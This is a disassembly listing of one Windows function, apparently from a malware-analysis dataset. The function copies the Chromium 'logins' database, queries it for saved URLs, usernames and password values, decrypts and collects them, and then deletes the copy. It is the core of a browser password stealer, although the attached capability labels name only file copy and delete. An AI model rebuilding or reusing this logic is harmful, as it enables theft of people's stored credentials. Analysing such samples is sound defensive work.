Function at 0x402879
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x215c
call fcn.00444090
push ebx
push esi
push edi
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x33e]
push ebx
push eax
mov word [ebp - 0x340], bx
call sub.msvcrt.dll_memset
mov esi, dword [ebp + 0xc]
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x4028e1
push 0x4455f4
lea edi, [ebp - 0x340]
call fcn.00407a89
pop ecx
push ebx
mov eax, edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov esi, edi
jmp 0x4028e8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3ff
lea eax, [ebp - 0x73f]
push ebx
push eax
mov byte [ebp - 0x740], bl
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x740]
push eax
push esi
call fcn.00408452
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x740]
push eax
mov dword [ebp - 0xc], ebx
call fcn.00442c6f
add esp, 0x10
cmp dword [ebp - 0xc], ebx
je 0x402b61
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 0xc]
push 0xffffffffffffffff
push str.SELECT_origin_url__action_url__username_element__username_value__password_element__password_value__signon_realm__date_created_from_logins
lea esi, [ebp - 4]
call fcn.004370c4
mov edi, dword [ebp - 4]
add esp, 0x10
test edi, edi
je 0x402b57
push edi
call fcn.00423fdb
jmp 0x402b48
push 0x1a14
lea eax, [ebp - 0x2158]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
xor eax, eax
mov ecx, edi
call fcn.004241c3
mov dword [ebp - 0x24], eax
xor eax, eax
inc eax
mov ecx, edi
call fcn.004241c3
mov dword [ebp - 0x28], eax
push 2
pop eax
mov ecx, edi
call fcn.004241c3
mov dword [ebp - 0x20], eax
push 3
pop eax
mov ecx, edi
call fcn.004241c3
mov dword [ebp - 8], eax
push 4
pop eax
mov ecx, edi
call fcn.004241c3
mov dword [ebp - 0x2c], eax
push 7
pop eax
mov esi, edi
call fcn.00424152
mov ecx, eax
call fcn.00421699
mov esi, eax
mov ebx, edx
call fcn.004241a3
push ebx
push esi
lea ebx, [ebp - 0x958]
call fcn.004027d6
mov esi, 0x3ff
push esi
lea eax, [ebp - 0x2158]
push eax
push dword [ebp - 0x24]
call fcn.00408487
add esp, 0x14
push esi
lea eax, [ebp - 0x1958]
push eax
push dword [ebp - 0x28]
call fcn.00408487
add esp, 0xc
mov ebx, 0xff
push ebx
lea eax, [ebp - 0x1158]
push eax
push dword [ebp - 0x20]
call fcn.00408487
add esp, 0xc
push ebx
lea eax, [ebp - 0xf58]
push eax
push dword [ebp - 0x2c]
call fcn.00408487
add esp, 0xc
push ebx
lea eax, [ebp - 0xd58]
push eax
push 0xffffffffffffffff
push dword [ebp - 8]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, dword [ebp - 4]
push 5
pop eax
mov esi, edi
call fcn.00424152
mov esi, eax
call fcn.00423dd4
mov dword [ebp - 8], eax
call fcn.004241a3
push 5
pop eax
mov esi, edi
call fcn.00424152
mov esi, eax
call fcn.00422041
mov esi, eax
call fcn.004241a3
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x14], ecx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
push ecx
push ecx
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x4536bc
mov dword [ebp - 0x1c], esi
call fcn.0040385b
xor edi, edi
cmp dword [ebp - 0x10], edi
je 0x402b1b
mov esi, dword [ebp - 0x14]
lea eax, [ebx - 1]
cmp esi, eax
jbe 0x402ac2
mov esi, eax
push ebx
lea eax, [ebp - 0x12f]
push edi
push eax
mov byte [ebp - 0x130], 0
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
push dword [ebp - 0x10]
lea eax, [ebp - 0x130]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push ebx
lea eax, [ebp - 0xb58]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x130]
push eax
push edi
push 0xfde9
mov byte [ebp + esi - 0x130], 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp + 0xc]
mov eax, 0x104
lea edi, [ebp - 0x950]
call fcn.00407a0a
pop ecx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
lea edx, [ebp - 0x2158]
push edx
call dword [eax]
push dword [ebp - 4]
call fcn.00423fdb
mov edi, dword [ebp - 4]
cmp eax, 0x64
pop ecx
je 0x402962
call fcn.00423d3d
mov eax, dword [ebp - 0xc]
call fcn.004425da
xor ebx, ebx
cmp word [ebp - 0x340], bx
je 0x402b77
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret 8